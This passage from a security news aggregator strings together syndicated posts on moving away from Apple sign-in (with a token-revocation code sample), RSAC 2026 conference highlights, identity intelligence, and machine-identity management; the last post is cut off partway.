href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account%2F&amp;linkname=Pro-Iranian%20Hacking%20Group%20Claims%20Credit%20for%20Hack%20of%20FBI%20Director%20Kash%20Patel%E2%80%99s%20Personal%20Account" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account%2F&amp;linkname=Pro-Iranian%20Hacking%20Group%20Claims%20Credit%20for%20Hack%20of%20FBI%20Director%20Kash%20Patel%E2%80%99s%20Personal%20Account" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account%2F&amp;linkname=Pro-Iranian%20Hacking%20Group%20Claims%20Credit%20for%20Hack%20of%20FBI%20Director%20Kash%20Patel%E2%80%99s%20Personal%20Account" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account%2F&amp;linkname=Pro-Iranian%20Hacking%20Group%20Claims%20Credit%20for%20Hack%20of%20FBI%20Director%20Kash%20Patel%E2%80%99s%20Personal%20Account" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account%2F&amp;linkname=Pro-Iranian%20Hacking%20Group%20Claims%20Credit%20for%20Hack%20of%20FBI%20Director%20Kash%20Patel%E2%80%99s%20Personal%20Account" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://cisowhisperer.com">CISO Whisperer</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Evan Rowe">Evan Rowe</a>. Read the original post at: <a href="https://cisowhisperer.com/pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account">https://cisowhisperer.com/pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=pro-iranian-hacking-group-claims-credit-for-hack-of-fbi-director-kash-patels-personal-account</a> </p>

<h2>How to manage and move away from apple sso: a guide for users and devs</h2><p>Ever felt like your digital life is just too tangled up in one ecosystem? I get it—sometimes you just want to unhook your apps from apple sso to keep things separate. This is especially true in industries like healthcare or retail, where you might be handling sensitive medical records or personal shopping data and want a bit more control over who sees what.</p><p>Whether you're a regular person trying to clean up your phone or a saas founder realizing that "Sign in with Apple" is holding your business back, this guide covers both sides of the coin.</p><h3>For Users: The basics of turning off apple sso</h3><p>Turning this off isn't actually that scary once you find where apple hides the list. Here is the lowdown on how you manage those connections:</p><ul> <li><strong>Navigate to settings</strong>: On your iphone, tap your name at the top, then hit "Password &amp; Security" (on newer iOS versions, this is under "Sign in &amp; Security"). It's basically the same on a mac under System Settings.</li> <li><strong>Manage apps</strong>: Look for "Apps Using Apple ID." This is where the cleanup happens.</li> <li><strong>Stop using ID</strong>: Pick an app—maybe a healthcare portal or a retail app you don't use—and hit "Stop Using Apple ID."</li> </ul><p><strong>What happens to your data?</strong><br> It is important to know that hitting "Stop Using" doesn't actually delete your data from the developer's servers. It just cuts the cord for the login. Your profile, photos, or medical history stays with the app developer, but you won't be able to log back in using apple. </p><blockquote> <p>According to Apple's official support documentation, when you stop using your apple id with an app, you might be asked to create a new password to keep using that specific account. (<a href="https://support.apple.com/en-us/102654">Sign in to apps with your Apple Account</a>)</p> </blockquote><p><strong>Diagram 1: The User Disconnect Flow</strong><br> <em>This flow shows a user going from iPhone Settings to the App List, selecting an app, and confirming the "Stop Using" command, which triggers a notification to the app developer.</em></p><hr><h3>For Developers: Why saas companies move away from social sso</h3><p>Honestly, it’s kind of a headache when you realize your "easy" login button is actually a security hole for b2b. While apple sso is great for buying shoes on your phone, it’s a nightmare for saas founders trying to scale to enterprise clients.</p><p>Most big companies won't even look at your software if you don't support real identity management. Here is why the "Sign in with Apple" button usually gets the boot:</p><ul> <li><strong>Zero visibility</strong>: IT teams can't see who is logging in. If an employee leaves, you can't just flip a switch in a central dashboard to kill their access.</li> <li><strong>The SCIM Myth</strong>: People often say apple sso doesn't support SCIM (System for Cross-domain Identity Management), but that's actually not true anymore—Apple <em>does</em> support SCIM for automated provisioning through Apple Business Manager, but it's a pain to set up for individual saas apps compared to something like Okta.</li> <li><strong>Data silos</strong>: You get those random, anonymized email addresses (like <code><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5020223f2829102022392631243522353c31297e3120203c3539347e333f3d">[email protected]</a></code>). Good luck trying to map that to a user in your internal CRM.</li> </ul><p>For a real business, something like <strong>SSOJet</strong> or a dedicated OIDC provider is just better. It gives you the "enterprise readiness" that social logins lack.</p><p><strong>Diagram 2: Enterprise vs. Social SSO</strong><br> <em>This visual compares the fragmented data of Social SSO (anonymized emails, no admin control) against the centralized control of Enterprise SSO (real emails, SCIM syncing, and audit logs).</em></p><hr><h3>Technical steps for developers and it pros</h3><p>So you've decided to rip out Apple's login from your stack? Honestly, I’ve been there—it looks easy on the marketing site but the backend cleanup is where the real "fun" begins for us devs.</p><p>When a user hits that "disconnect" button on their iPhone, apple sends a "consent-revoked" notification to your registered server-to-server webhook. You need to listen for this! If you don't, you're just leaving dangling authorizations out there.</p><p>You’ll also need to hit the <code>auth/revoke</code> endpoint to make sure the session is dead on Apple's side too.</p><pre><code class="language-python">import requests # You get the 'token' from the authorization code or refresh token # stored in your DB when the user first signed up. def revoke_apple_token(token, client_id, client_secret): url = "https://appleid.apple.com/auth/revoke" data = { 'client_id': client_id, 'client_secret': client_secret, 'token': token, 'token_type_hint': 'access_token' } res = requests.post(url, data=data) return res.status_code == 200 </code></pre><p><strong>The "ai context" problem</strong><br> Here is the part people forget: <strong>ai context</strong>. If you have an ai agent helping a user in a healthcare app, that agent usually relies on a persistent user ID (the <code>sub</code> claim) to remember past chats or medical history. When you swap the identity provider, the <code>sub</code> changes. </p><p>To fix this, you have to migrate your metadata. Before you kill the apple link, you must map the old apple <code>sub</code> ID to your new internal user ID in your vector database or chat logs. If you don't, your ai loses all its "memory" and the user has to start over.</p><p><strong>Diagram 3: The Token Revocation Backend</strong><br> <em>This shows the server-to-server communication where the App Server receives a webhook from Apple, revokes the token, and updates the internal User Database to un-link the Apple ID.</em></p><hr><h3>Managing the transition for enterprise users</h3><p>Moving a whole user base from a "Sign in with Apple" button to a real enterprise setup is like trying to change a tire while the car is doing 60. You can't just shut it off, or your support desk will get absolutely slammed.</p><p>If you're a startup ceo, you gotta prioritize mfa (multi-factor authentication) from day one of the switch. When you drop apple, you lose their built-in FaceID layer, so make sure your new system doesn't feel like a step backward. </p><p><strong>Diagram 4: The Migration Path</strong><br> <em>A timeline showing the 30-day transition: sending the announcement email, allowing users to link a secondary email, and finally deprecating the Apple login button.</em></p><p>Communication is basically everything here. Tell your users <em>why</em> you’re doing this—mention "enhanced data privacy" or "better compliance" for their healthcare or retail data. Give them a 30-day heads-up before you actually pull the plug on the apple api. </p><p>At the end of the day, moving to a dedicated provider gives you the control you actually need to grow. It’s a bit of a project, but your it team will thank you when they aren't chasing down "private relay" email addresses anymore.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/attribute-based-access-control-for-ai-capability-negotiation/" data-a2a-title="Attribute-Based Access Control for AI Capability Negotiation"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fattribute-based-access-control-for-ai-capability-negotiation%2F&amp;linkname=Attribute-Based%20Access%20Control%20for%20AI%20Capability%20Negotiation" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fattribute-based-access-control-for-ai-capability-negotiation%2F&amp;linkname=Attribute-Based%20Access%20Control%20for%20AI%20Capability%20Negotiation" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fattribute-based-access-control-for-ai-capability-negotiation%2F&amp;linkname=Attribute-Based%20Access%20Control%20for%20AI%20Capability%20Negotiation" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fattribute-based-access-control-for-ai-capability-negotiation%2F&amp;linkname=Attribute-Based%20Access%20Control%20for%20AI%20Capability%20Negotiation" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fattribute-based-access-control-for-ai-capability-negotiation%2F&amp;linkname=Attribute-Based%20Access%20Control%20for%20AI%20Capability%20Negotiation" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.gopher.security/blog">Read the Gopher Security&amp;#039;s Quantum Safety Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Read the Gopher Security's Quantum Safety Blog">Read the Gopher Security's Quantum Safety Blog</a>. Read the original post at: <a href="https://www.gopher.security/blog/attribute-based-access-control-ai-capability-negotiation">https://www.gopher.security/blog/attribute-based-access-control-ai-capability-negotiation</a> </p>

<p><main id="readArticle" class="Page-main" data-module="" data-padding="none" morss_own_score="4.251968503937008" morss_score="12.415553141205855"></main></p><p><a href="https://www.govtech.com/blogs/lohrmann-on-cybersecurity">Lohrmann on Cybersecurity</a></p><h1>RSAC 2026 Highlights: From Agentic AI to Active Defense</h1><h2>How can enterprises scale cyber defenses for the coming agentic workforce? What are the top cyber trends and challenges flowing from our new normal? Let’s explore through an RSAC lens.</h2><div>March 29, 2026 • </div><p><a href="https://www.govtech.com/authors/dan-lohrmann.html"><span>Dan Lohrmann</span></a></p><figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/c071517/2147483647/strip/true/crop/5712x2978+0+653/resize/840x438!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2Fe2%2F17%2F787e3f1e4434a363975503788037%2Frsac-2026-front.jpg"></p> <div>Dan Lohrmann</div> </figure><div class="Page-articleBody RichTextBody" morss_own_score="4.583963691376702" morss_score="89.58396369137671"> <p> Another <a href="https://www.rsaconference.com/usa">RSA Conference in San Francisco</a> ended on Thursday, March 26, 2026, and the top themes on the show floor and in keynote and breakout presentations included: securing agentic AI, <a href="https://www.biometricupdate.com/202603/ai-agent-identity-and-next-gen-enterprise-authentication-prominent-at-rsac-2026">identity security</a>, <a href="https://www.govtech.com/blogs/lohrmann-on-cybersecurity/what-is-physical-ai-and-what-does-it-mean-for-government">physical AI</a> and the (seemingly never-ending) <a href="https://therecord.media/uk-cyber-chief-urges-full-court-press-to-counter-risks">rise in cyber threats globally</a>, which is increasing exponentially with AI agents.</p></div><div>The physical security at the Moscone Center in San Francisco was high this past week, with RSAC 2026 attendees and bags being checked in similar ways to airport security checkpoints. Even the lines reminded me of <a href="https://time.com/article/2026/03/24/airport-wait-times-security-lines-tsa-ice-dhs-shutdown/">long airport security waits</a>.</div><div>And while attendees from across the globe came to RSAC to talk and learn about cybersecurity, this year’s conference occurred with the backdrops of the U.S. military fighting battles in the Middle East, <a href="https://www.cybersecuritydive.com/news/cisa-nsa-fbi-rsac-conference-jen-easterly/810482/">U.S. federal agencies pulling out of this year’s RSAC</a> and <a href="https://www.halcyon.ai/ransomware-alerts/iranian-use-of-cybercriminal-tactics-in-destructive-cyber-attacks-2026-updates">cyber attacks occurring in the U.S. impacting critical infrastructure</a> — including the recent <a href="https://www.govtech.com/security/stryker-cyber-attack-raises-concerns-for-state-and-local-govt">cyber attacks against Stryker</a>. </div><div>Some of the top product launches that occurred at RSAC are presented <a href="https://www.helpnetsecurity.com/2026/03/27/rsac-2026-top-product-launches/">in this <i>Help Net Security</i> article</a>.</div><div>I also really like this human-focused article from <i>PC Magazine</i> (based on an RSAC session) <a href="https://www.pcmag.com/news/rsac-2026-the-surprising-reason-phishing-still-works-on-everyone">on the surprising reason why phishing still works in 2026</a>. As we have discussed numerous times in this blog over the years, humans remain your biggest strength and also biggest weakness in cybersecurity. The key to stopping scammers is slowing down. Here’s an excerpt from that article:</div><div>“Perhaps most importantly, he referenced the work of Nobel Prize winner <a href="https://en.wikipedia.org/wiki/Daniel_Kahneman">Daniel Kahneman</a>. Kahneman identified two systems the brain uses to make decisions. ‘System 1 is fast, automatic, emotional, and intuitive,’ noted Rose, ‘while System 2 is slow, effortful, logical and deliberate. We live in System 1 all day, every day.‘ Rose explained that System 2 thinking literally uses more of your body’s energy, and that having evolved through periods of scarcity, we’re inclined to avoid expending that energy.” <h3>TOP RSAC 2026 SESSIONS</h3> </div><div>Many of the top main stage sessions from RSAC 2026 are <a href="https://www.youtube.com/playlist?list=PLeUGLKUYzh_gVdsnw6tRhS-gbhn2BE3TU">available for free at their YouTube channel</a>, and I urge you to take the time to watch a few of these fascinating presentations of interest. There are many great sessions on securing AI through various means.</div><div>Some of the top RSAC keynotes included: <p><b>Reimagining Security for the Agentic Workforce </b>by Jeetu Patel, president and chief product officer, Cisco </p> </div><div>Key quotes: <ul> <li>“We should NOT think of these agents as tools. They are more like digital co-workers.”</li> <li>“With chatbots, you worry about getting the wrong answer. With agents, you worry about taking the wrong action.”</li> <li>“Beware of the ‘oops phase.’” (Watch the video to see what that means.)</li> </ul> <p><b>Activate Industry!: Moving Beyond Defense to Disruption and Active Defense </b>by</p> </div><div>Key quotes: <ul> <li>“We found that the time between initial access [from threat actors] to the hand-off has collapsed from eight hours in 2022 to 22 seconds in 2025.”</li> <li>“Threats in the AI era include speed, scale and sophistication.”</li> <li>“We must move to active defense, but not hacking back.”</li> </ul> <p><b>AI vs. AI: How to Reshape Defense Faster Than Attackers Reshape Offense </b>by Nadir Izrael, CTO and co-founder, Armis</p> <p><b>CNBC live from RSAC show floor </b>– Databricks CEO: AI will kill the security, information and event management systems –</p></div><div>Key quote: “AI will kill the SIEM in 2026.” <h3>WHAT CAUGHT MY EYE AT RSAC 2026</h3> </div><div>As I walked the RSAC show floor, the pictures below show some of the excitement, surprising numbers and activity that is still alive at one of the world’s largest annual cyber events. <figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/04b3ceb/2147483647/strip/true/crop/5712x4284+0+0/resize/840x630!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2F17%2Fd5%2F759f784942549084bf55399fb4ae%2Frsac-show-floor.jpg"></p> </figure> <figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/ddb5429/2147483647/strip/true/crop/5712x4284+0+0/resize/840x630!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2Fe3%2F00%2F7ecfa353481ab084c19a68829fb1%2Fcommvault-2026-ring.jpg"></p> <div>Dan Lohrmann</div> </figure> <figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/7a4b767/2147483647/strip/true/crop/5712x4284+0+0/resize/840x630!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2F92%2F01%2Fd94f97594bd2aff11e8a7b0c96c9%2Fakamai-ai-bots.jpg"></p> </figure> <figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/ab251dc/2147483647/strip/true/crop/4284x5712+0+0/resize/840x1120!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2Fe4%2Fdb%2F897518be4b169b9b6ca48dcf9e60%2Fcoffee-for-humans.jpg"></p> <div>Dan Lohrmann</div> </figure> <h3>FINAL THOUGHT</h3> </div><div>I also had the chance to describe what I was seeing to several media outlets, and here is <a href="https://expertinsights.com/industry-perspectives/sac-2026-dan-lohrmann-presidio">one of those interviews I did with Expert Insights</a> covering my views on trends for governments in cybersecurity.</div><div>Meanwhile, outside the Moscone Center, I was also shocked by the gas prices in California, which are a solid $3-plus higher per gallon than in Michigan — and a reminder of the impact of current global events. <figure> <p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/1bd241e/2147483647/strip/true/crop/4284x5712+0+0/resize/840x1120!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2F8c%2F3b%2F58f0518a42d3996f7d3a9ac2fc96%2Fchevron-gas-price.jpg"></p> </figure> </div><p><a href="https://www.govtech.com/tag/cybersecurity">Cybersecurity</a><a href="https://www.govtech.com/tag/rsa-conference">RSA Conference</a></p><p><a href="https://www.govtech.com/authors/dan-lohrmann.html"></a></p><p><img decoding="async" src="https://erepublic.brightspotcdn.com/dims4/default/7be6234/2147483647/strip/true/crop/343x343+77+0/resize/100x100!/quality/90/?url=http%3A%2F%2Ferepublic-brightspot.s3.us-west-2.amazonaws.com%2Faa%2Fbe%2F66bbbc539526800857dd96f3c9d5%2Flohrman.jpg"></p><p></p><p><a href="https://www.govtech.com/authors/dan-lohrmann.html">Dan Lohrmann</a></p><div> Daniel J. Lohrmann is an internationally recognized cybersecurity leader, technologist, keynote speaker and author. </div><p><a href="https://www.govtech.com/authors/dan-lohrmann.html">See More Stories by Dan Lohrmann</a></p><p></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/rsac-2026-highlights-from-agentic-ai-to-active-defense/" data-a2a-title="RSAC 2026 Highlights: From Agentic AI to Active Defense"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Frsac-2026-highlights-from-agentic-ai-to-active-defense%2F&amp;linkname=RSAC%202026%20Highlights%3A%20From%20Agentic%20AI%20to%20Active%20Defense" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Frsac-2026-highlights-from-agentic-ai-to-active-defense%2F&amp;linkname=RSAC%202026%20Highlights%3A%20From%20Agentic%20AI%20to%20Active%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Frsac-2026-highlights-from-agentic-ai-to-active-defense%2F&amp;linkname=RSAC%202026%20Highlights%3A%20From%20Agentic%20AI%20to%20Active%20Defense" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Frsac-2026-highlights-from-agentic-ai-to-active-defense%2F&amp;linkname=RSAC%202026%20Highlights%3A%20From%20Agentic%20AI%20to%20Active%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Frsac-2026-highlights-from-agentic-ai-to-active-defense%2F&amp;linkname=RSAC%202026%20Highlights%3A%20From%20Agentic%20AI%20to%20Active%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="">Lohrmann on Cybersecurity</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Lohrmann on Cybersecurity">Lohrmann on Cybersecurity</a>. Read the original post at: <a href="https://www.govtech.com/blogs/lohrmann-on-cybersecurity/rsac-2026-highlights-from-agentic-ai-to-active-defense">https://www.govtech.com/blogs/lohrmann-on-cybersecurity/rsac-2026-highlights-from-agentic-ai-to-active-defense</a> </p>

<h2>The misconception: more data intelligence equals better security</h2><p>In cybersecurity, there’s a common assumption: More data = more visibility = better protection</p><p>But in reality, more data often creates more problems.</p><p>Security teams today are overwhelmed with:</p><ul> <li>Alerts</li> <li>Feeds</li> <li>Data sources</li> </ul><p>Yet many still struggle to understand what actually matters.</p><h2>The problem with too many signals</h2><p>Adding more data sources can lead to <strong>Alert fatigue</strong></p><p>Too many alerts make it difficult to prioritize effectively.</p><p><strong>False positives</strong></p><p>Unverified data leads to wasted time and effort.</p><p><strong>Fragmentation</strong></p><p>Data is spread across multiple tools and systems.</p><p><strong>Slower response</strong></p><p>More noise means slower decision-making.</p><p><strong>Why raw data isn’t enough</strong></p><p>Raw data lacks the key elements needed for effective security:</p><ul> <li>Verification</li> <li>Attribution</li> <li>Context</li> </ul><p>Without these, data remains incomplete and difficult to act on.</p><h2>What turns data into intelligence</h2><p>To be useful, data must be transformed into intelligence.</p><p>This requires: <a href="https://constella.ai/data/data-pedigree-methodology/"><strong>Verification</strong></a></p><p>Ensuring the accuracy and reliability of data</p><p><a href="https://constella.ai/blog/identity-risk-scoring-only-works-if-attribution-is-defensible/"><strong>Attribution</strong></a></p><p>Linking data to real identities and entities</p><p><a href="https://constella.ai/platform/threat-investigation/"><strong>Context</strong></a></p><p>Understanding how data relates to risk</p><p><a href="https://constella.ai/blog/why-identity-intelligence-is-the-front-line-of-cyber-defense/"><strong>Prioritization</strong></a></p><p>Focusing on what matters most</p><h2>The importance of identity context</h2><p>Identity is the common thread across many security challenges.</p><p>Without identity context, organizations cannot:</p><ul> <li>Understand exposure</li> <li>Prioritize risk</li> <li>Take effective action</li> </ul><p>This is why identity intelligence is becoming central to modern security strategies.</p><h2>How Constella approaches intelligence</h2><p>Constella focuses on delivering:</p><ul> <li>Curated and verified identity data</li> <li>Attribution across datasets</li> <li>Contextualized risk insights</li> </ul><p>This allows organizations to move beyond raw data and operate with true intelligence.</p><p><strong>The shift organizations need to make</strong></p><p>To improve security outcomes, organizations must shift from:</p><ul> <li>Data collection → Intelligence</li> <li>Volume → Quality</li> <li>Alerts → Insights</li> </ul><p>This requires rethinking how data is used and prioritized.</p><h2>Final takeaway</h2><p>More signals don’t reduce risk.</p><p>Better intelligence does.</p><p>Organizations that focus on verification, attribution, and context will be better equipped to manage identity risk and respond to modern threats.</p><h2>FAQs</h2><p><strong>Why is more data not always better in cybersecurity?</strong></p><p>Because it can create noise, increase false positives, and make it harder to prioritize risks.</p><p><strong>What is the difference between data and intelligence?</strong></p><p>Data is raw information, while intelligence includes context, verification, and actionable insights.</p><p><strong>Why is attribution important?</strong></p><p>Attribution helps link data to real identities, making it easier to understand risk.</p><p><strong>How can organizations reduce alert fatigue?</strong></p><p>By focusing on high-quality, verified data and prioritizing based on risk.</p><p><strong>What role does identity play in intelligence?</strong></p><p>Identity provides the context needed to connect data and understand exposure.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/from-data-to-intelligence-why-more-signals-dont-equal-better-security/" data-a2a-title="From Data to Intelligence: Why More Signals Don’t Equal Better Security"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffrom-data-to-intelligence-why-more-signals-dont-equal-better-security%2F&amp;linkname=From%20Data%20to%20Intelligence%3A%20Why%20More%20Signals%20Don%E2%80%99t%20Equal%20Better%20Security" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffrom-data-to-intelligence-why-more-signals-dont-equal-better-security%2F&amp;linkname=From%20Data%20to%20Intelligence%3A%20Why%20More%20Signals%20Don%E2%80%99t%20Equal%20Better%20Security" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffrom-data-to-intelligence-why-more-signals-dont-equal-better-security%2F&amp;linkname=From%20Data%20to%20Intelligence%3A%20Why%20More%20Signals%20Don%E2%80%99t%20Equal%20Better%20Security" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffrom-data-to-intelligence-why-more-signals-dont-equal-better-security%2F&amp;linkname=From%20Data%20to%20Intelligence%3A%20Why%20More%20Signals%20Don%E2%80%99t%20Equal%20Better%20Security" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffrom-data-to-intelligence-why-more-signals-dont-equal-better-security%2F&amp;linkname=From%20Data%20to%20Intelligence%3A%20Why%20More%20Signals%20Don%E2%80%99t%20Equal%20Better%20Security" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://constella.ai">Constella Intelligence</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Christine Castro">Christine Castro</a>. Read the original post at: <a href="https://constella.ai/blog/from-data-to-intelligence-why-more-signals-dont-equal-better-security/">https://constella.ai/blog/from-data-to-intelligence-why-more-signals-dont-equal-better-security/</a> </p>

<h2>How Are Non-Human Identities (NHIs) Revolutionizing Cybersecurity?</h2><p>Have you ever wondered how organizations remain secure while using advanced digital technologies? Delving into Non-Human Identities (NHIs) unveils an essential aspect of modern cybersecurity strategies. NHIs, or machine identities, present a robust framework for safeguarding sensitive information.</p><h3>The Critical Role of NHIs in Cybersecurity</h3><p>With the increasing reliance on digital infrastructures, safeguarding machine identities has never been more crucial. NHIs comprise a “Secret” (such as an encrypted password, token, or key) and the permissions granted to that Secret by a destination server. Think of it as combining a passport with a visa—both are needed for a seamless digital experience. These machine identities are pivotal in securing cloud environments, especially for industries like finance, healthcare, and travel.</p><p>One standout feature of NHIs is their adaptability. When organizations expand their digital footprint, adaptable NHIs provide an essential layer of protection. This adaptability is crucial for industries heavily reliant on dynamic and rapidly changing digital. With <a href="https://entro.security/blog/secure-machine-identity-management/">secure machine identity management</a>, companies can protect their digital assets and maintain operational integrity.</p><h3>Navigating the Lifecycle of NHIs</h3><p>The management of NHIs involves a comprehensive approach to securing both the identities (the “tourist”) and their access credentials (the “passport”). This lifecycle includes several stages, from discovery and classification to threat detection and remediation. Understanding and managing these stages ensures that NHIs are not just secure but also efficient and adaptable to changing environments.</p><ul> <li><strong>Discovery and Classification:</strong> Identifying NHIs in your system is the first step. Proper classification ensures each machine identity is appropriately managed and monitored.</li> <li><strong>Threat Detection:</strong> Identifying potential vulnerabilities early allows for swift action to mitigate threats.</li> <li><strong>Remediation:</strong> Addressing issues promptly ensures minimal disruption and risk in your operations.</li> </ul><p>Unlike point solutions, such as secret scanners, comprehensive NHI management offers more than just surface-level security. It provides insights into ownership, permissions, usage patterns, and potential vulnerabilities, allowing for <a href="https://entro.security/blog/takeaways-nhi-secrets-risk-report/">context-aware security</a> strategies.</p><h3>Bridging Gaps Between Security and R&amp;D Teams</h3><p>A significant challenge in cybersecurity is the disconnect between security and R&amp;D teams. NHIs offer a bridge to close this gap by fostering a collaborative environment that emphasizes security at every stage of development. This collaborative approach is essential for creating secure cloud environments, especially for companies that operate at the intersection of innovation and security.</p><p>By adopting adaptable NHIs, organizations can align their cybersecurity strategies with their R&amp;D goals, ensuring that security is not an afterthought but a core component of the development process. This alignment not only enhances security but also drives innovation, allowing organizations to remain competitive in dynamic markets.</p><h3>Benefits of Effective NHI Management</h3><p>Implementing a robust NHI management strategy comes with numerous benefits. These advantages extend beyond basic security, offering strategic advantages that enhance overall organizational performance.</p><ul> <li><strong>Reduced Risk:</strong> By proactively identifying and mitigating security risks, NHIs help reduce the likelihood of breaches and data leaks.</li> <li><strong>Improved Compliance:</strong> NHIs assist organizations in meeting regulatory requirements through policy enforcement and audit trails.</li> <li><strong>Increased Efficiency:</strong> Automation in managing NHIs and secrets allows security teams to focus on strategic initiatives.</li> 